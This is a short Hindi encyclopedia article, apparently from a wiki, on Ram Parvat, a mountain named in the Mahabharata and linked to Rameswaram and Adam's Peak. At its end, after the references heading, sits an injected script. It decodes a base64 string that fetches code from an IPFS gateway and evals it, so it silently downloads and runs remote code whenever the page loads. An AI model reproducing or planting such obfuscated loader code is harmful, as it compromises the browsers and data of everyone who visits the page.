राम पर्वत
भारत डिस्कवरी प्रस्तुति
व्यवस्थापन (चर्चा | योगदान) द्वारा परिवर्तित 07:30, 7 नवम्बर 2017 का अवतरण (Text replacement - "पश्चात " to "पश्चात् ")
राम पर्वत का उल्लेख पौराणिक ग्रन्थ महाभारत, सभापर्व में हुआ है-
'कृत्सनं कोलगिरि चैव सुरभीपत्तनं तथा, द्वीपं ताभ्राह्वयं चैव पर्वतं रामकं तथा।'[1]
- इस स्थान को पाण्डव सहदेव ने दक्षिण की दिग्विजय यात्रा में विजित किया था।
- महाभारत के उपरोक्त प्रसंग से यह स्थान रामेश्वरम की पहाड़ी जान पड़ता है।[2]
- इसका अभिज्ञान लंका में स्थित बौद्ध तीर्थ 'सुमनकूट' या 'आदम की चोटी' से भी किया जा सकता है।
- प्राचीन किंवदंती के अनुसार इस पहाड़ी पर जो चरणचिन्ह बने हैं, वे भगवान राम के हैं। वे समुद्र पार करने के पश्चात् लंका में इसी पहाड़ी के पास पहुचे थे और उनके पावन चरण चिन्ह इस पहाड़ी की भूमि पर अंकित हो गये थे। बाद में बौद्धों ने इन्हें महात्मा बुद्ध के और ईसाईयों ने आदम के चरणचिन्ह मान लिया।
|
|
|
|
|
टीका टिप्पणी और संदर्भ
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>